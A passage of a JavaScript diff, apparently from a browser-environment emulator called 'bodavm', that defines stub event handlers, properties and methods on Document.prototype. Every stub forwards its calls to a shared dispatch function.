bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselect_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onslotchange", { + configurable: true, + enumerable: true, + get: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_get", arguments); + }, + set: function onslotchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onslotchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onstalled", { + configurable: true, + enumerable: true, + get: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_get", arguments); + }, + set: function onstalled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onstalled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsubmit", { + configurable: true, + enumerable: true, + get: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_get", arguments); + }, + set: function onsubmit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsubmit_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onsuspend", { + configurable: true, + enumerable: true, + get: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_get", arguments); + }, + set: function onsuspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onsuspend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontimeupdate", { + configurable: true, + enumerable: true, + get: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_get", arguments); + }, + set: function ontimeupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontimeupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontoggle", { + configurable: true, + enumerable: true, + get: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_get", arguments); + }, + set: function ontoggle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontoggle_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onvolumechange", { + configurable: true, + enumerable: true, + get: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_get", arguments); + }, + set: function onvolumechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onvolumechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwaiting", { + configurable: true, + enumerable: true, + get: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_get", arguments); + }, + set: function onwaiting() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwaiting_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationend", { + configurable: true, + enumerable: true, + get: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_get", arguments); + }, + set: function onwebkitanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationiteration", { + configurable: true, + enumerable: true, + get: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_get", arguments); + }, + set: function onwebkitanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkitanimationstart", { + configurable: true, + enumerable: true, + get: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_get", arguments); + }, + set: function onwebkitanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkitanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwebkittransitionend", { + configurable: true, + enumerable: true, + get: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_get", arguments); + }, + set: function onwebkittransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwebkittransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onwheel", { + configurable: true, + enumerable: true, + get: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_get", arguments); + }, + set: function onwheel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onwheel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onauxclick", { + configurable: true, + enumerable: true, + get: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_get", arguments); + }, + set: function onauxclick() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onauxclick_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ongotpointercapture", { + configurable: true, + enumerable: true, + get: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_get", arguments); + }, + set: function ongotpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ongotpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onlostpointercapture", { + configurable: true, + enumerable: true, + get: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_get", arguments); + }, + set: function onlostpointercapture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onlostpointercapture_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerdown", { + configurable: true, + enumerable: true, + get: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_get", arguments); + }, + set: function onpointerdown() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerdown_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointermove", { + configurable: true, + enumerable: true, + get: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_get", arguments); + }, + set: function onpointermove() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointermove_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerrawupdate", { + configurable: true, + enumerable: true, + get: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_get", arguments); + }, + set: function onpointerrawupdate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerrawupdate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerup", { + configurable: true, + enumerable: true, + get: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_get", arguments); + }, + set: function onpointerup() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerup_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointercancel", { + configurable: true, + enumerable: true, + get: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_get", arguments); + }, + set: function onpointercancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointercancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerover", { + configurable: true, + enumerable: true, + get: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_get", arguments); + }, + set: function onpointerover() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerover_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerout", { + configurable: true, + enumerable: true, + get: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_get", arguments); + }, + set: function onpointerout() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerout_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerenter", { + configurable: true, + enumerable: true, + get: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_get", arguments); + }, + set: function onpointerenter() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerenter_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpointerleave", { + configurable: true, + enumerable: true, + get: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_get", arguments); + }, + set: function onpointerleave() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpointerleave_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselectstart", { + configurable: true, + enumerable: true, + get: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_get", arguments); + }, + set: function onselectstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onselectionchange", { + configurable: true, + enumerable: true, + get: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_get", arguments); + }, + set: function onselectionchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onselectionchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationend", { + configurable: true, + enumerable: true, + get: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_get", arguments); + }, + set: function onanimationend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationiteration", { + configurable: true, + enumerable: true, + get: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_get", arguments); + }, + set: function onanimationiteration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationiteration_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onanimationstart", { + configurable: true, + enumerable: true, + get: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_get", arguments); + }, + set: function onanimationstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onanimationstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionrun", { + configurable: true, + enumerable: true, + get: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_get", arguments); + }, + set: function ontransitionrun() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionrun_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionstart", { + configurable: true, + enumerable: true, + get: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_get", arguments); + }, + set: function ontransitionstart() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionstart_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitionend", { + configurable: true, + enumerable: true, + get: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_get", arguments); + }, + set: function ontransitionend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitionend_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "ontransitioncancel", { + configurable: true, + enumerable: true, + get: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_get", arguments); + }, + set: function ontransitioncancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "ontransitioncancel_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncopy", { + configurable: true, + enumerable: true, + get: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_get", arguments); + }, + set: function oncopy() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncopy_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "oncut", { + configurable: true, + enumerable: true, + get: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_get", arguments); + }, + set: function oncut() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "oncut_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "onpaste", { + configurable: true, + enumerable: true, + get: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_get", arguments); + }, + set: function onpaste() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "onpaste_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "children", { + configurable: true, + enumerable: true, + get: function children() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "children_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "firstElementChild", { + configurable: true, + enumerable: true, + get: function firstElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "firstElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "lastElementChild", { + configurable: true, + enumerable: true, + get: function lastElementChild() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "lastElementChild_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "childElementCount", { + configurable: true, + enumerable: true, + get: function childElementCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "childElementCount_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "activeElement", { + configurable: true, + enumerable: true, + get: function activeElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "activeElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "styleSheets", { + configurable: true, + enumerable: true, + get: function styleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "styleSheets_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "pointerLockElement", { + configurable: true, + enumerable: true, + get: function pointerLockElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "pointerLockElement_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fullscreenElement", { + configurable: true, + enumerable: true, + get: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_get", arguments); + }, + set: function fullscreenElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fullscreenElement_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "adoptedStyleSheets", { + configurable: true, + enumerable: true, + get: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_get", arguments); + }, + set: function adoptedStyleSheets() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptedStyleSheets_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "fonts", { + configurable: true, + enumerable: true, + get: function fonts() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "fonts_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "adoptNode", { + configurable: true, + enumerable: true, + writable: true, + value: function adoptNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "adoptNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "append", { + configurable: true, + enumerable: true, + writable: true, + value: function append() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "append", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "captureEvents", { + configurable: true, + enumerable: true, + writable: true, + value: function captureEvents() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "captureEvents", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "caretRangeFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function caretRangeFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "caretRangeFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "clear", { + configurable: true, + enumerable: true, + writable: true, + value: function clear() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "clear", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createAttribute", { + configurable: true, + enumerable: true, + writable: true, + value: function createAttribute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttribute", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createAttributeNS", { + configurable: true, + enumerable: true, + writable: true, + value: function createAttributeNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createAttributeNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createCDATASection", { + configurable: true, + enumerable: true, + writable: true, + value: function createCDATASection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createCDATASection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createComment", { + configurable: true, + enumerable: true, + writable: true, + value: function createComment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createComment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createDocumentFragment", { + configurable: true, + enumerable: true, + writable: true, + value: function createDocumentFragment() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createDocumentFragment", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createElement", { + configurable: true, + enumerable: true, + writable: true, + value: function createElement() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElement", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createElementNS", { + configurable: true, + enumerable: true, + writable: true, + value: function createElementNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createElementNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createEvent", { + configurable: true, + enumerable: true, + writable: true, + value: function createEvent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createEvent", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createExpression", { + configurable: true, + enumerable: true, + writable: true, + value: function createExpression() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createExpression", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createNSResolver", { + configurable: true, + enumerable: true, + writable: true, + value: function createNSResolver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNSResolver", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createNodeIterator", { + configurable: true, + enumerable: true, + writable: true, + value: function createNodeIterator() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createNodeIterator", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createProcessingInstruction", { + configurable: true, + enumerable: true, + writable: true, + value: function createProcessingInstruction() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createProcessingInstruction", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createRange", { + configurable: true, + enumerable: true, + writable: true, + value: function createRange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createRange", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createTextNode", { + configurable: true, + enumerable: true, + writable: true, + value: function createTextNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTextNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "createTreeWalker", { + configurable: true, + enumerable: true, + writable: true, + value: function createTreeWalker() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "createTreeWalker", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "elementFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "elementsFromPoint", { + configurable: true, + enumerable: true, + writable: true, + value: function elementsFromPoint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "elementsFromPoint", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "evaluate", { + configurable: true, + enumerable: true, + writable: true, + value: function evaluate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "evaluate", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "execCommand", { + configurable: true, + enumerable: true, + writable: true, + value: function execCommand() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "execCommand", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitFullscreen", { + configurable: true, + enumerable: true, + writable: true, + value: function exitFullscreen() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitFullscreen", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitPictureInPicture", { + configurable: true, + enumerable: true, + writable: true, + value: function exitPictureInPicture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPictureInPicture", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "exitPointerLock", { + configurable: true, + enumerable: true, + writable: true, + value: function exitPointerLock() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "exitPointerLock", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementById", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementById() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementById", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByClassName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByClassName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByClassName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByTagName", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagName", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getElementsByTagNameNS", { + configurable: true, + enumerable: true, + writable: true, + value: function getElementsByTagNameNS() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getElementsByTagNameNS", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "getSelection", { + configurable: true, + enumerable: true, + writable: true, + value: function getSelection() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "getSelection", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "hasFocus", { + configurable: true, + enumerable: true, + writable: true, + value: function hasFocus() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "hasFocus", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "importNode", { + configurable: true, + enumerable: true, + writable: true, + value: function importNode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "importNode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "open", { + configurable: true, + enumerable: true, + writable: true, + value: function open() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "open", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "prepend", { + configurable: true, + enumerable: true, + writable: true, + value: function prepend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "prepend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandEnabled", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandEnabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandEnabled", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandIndeterm", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandIndeterm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandIndeterm", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandState", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandState", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandSupported", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "queryCommandValue", { + configurable: true, + enumerable: true, + writable: true, + value: function queryCommandValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Document'].prototype, "Document", "queryCommandValue", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Document', "querySelector", { + configurable: true, + enumerable: true, + writable: true, + value: function querySelector() { + return bodavm.toolsFunc.dispatch(this, 